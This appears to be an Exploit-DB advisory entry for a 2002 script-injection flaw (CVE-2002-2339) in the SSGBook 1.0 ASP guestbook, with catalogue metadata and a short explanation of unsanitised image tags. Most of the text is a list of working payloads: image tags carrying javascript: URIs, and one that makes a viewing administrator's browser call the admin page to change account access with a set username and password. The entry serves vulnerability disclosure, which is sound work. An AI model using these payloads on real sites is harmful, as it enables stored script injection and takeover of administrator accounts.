SSGBook 1.0 - Image Tag HTML Injection

Author: frog
type: webapps
platform: asp
port: 
date_added: 2002-10-08 
date_updated: 2012-10-11 
verified: 1 
codes: CVE-2002-2339;OSVDB-59024 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/5915/info

SSGbook includes codes for allowing users to specify HTML formatting and layout inside of guestbook entries. For example, a user can include an image by including it inside of [image] or [img] tags. However, arbitrary HTML and script code are not sufficiently sanitized within these tags.

As a result, users may include malicious HTML and script code inside of guestbook entries. The attacker-supplied code will be rendered in the web client of a user who views a malicious guestbook entry.

[image]javascript:{SCRIPT}[/image]

[img=right]javascript:{SCRIPT}[/img=right]

[image=right]javascript:{SCRIPT}[/image=right]

[img=left]javascript:{SCRIPT}[/img=left]

[image=left]javascript:{SCRIPT}[/image=left]

[img]javascript:{SCRIPT}[/img]

[image]javascript:document.location="ss_admin.asp?Mode=Update&Acton=Access&UserName=Pom&Password=turlututu";[/image]